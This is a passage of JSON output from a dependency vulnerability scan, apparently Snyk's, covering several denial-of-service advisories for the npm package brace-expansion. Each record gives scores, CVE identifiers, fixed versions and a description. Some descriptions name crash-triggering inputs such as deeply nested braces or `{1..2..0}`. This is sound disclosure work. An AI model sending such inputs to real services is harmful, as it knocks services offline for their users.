"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
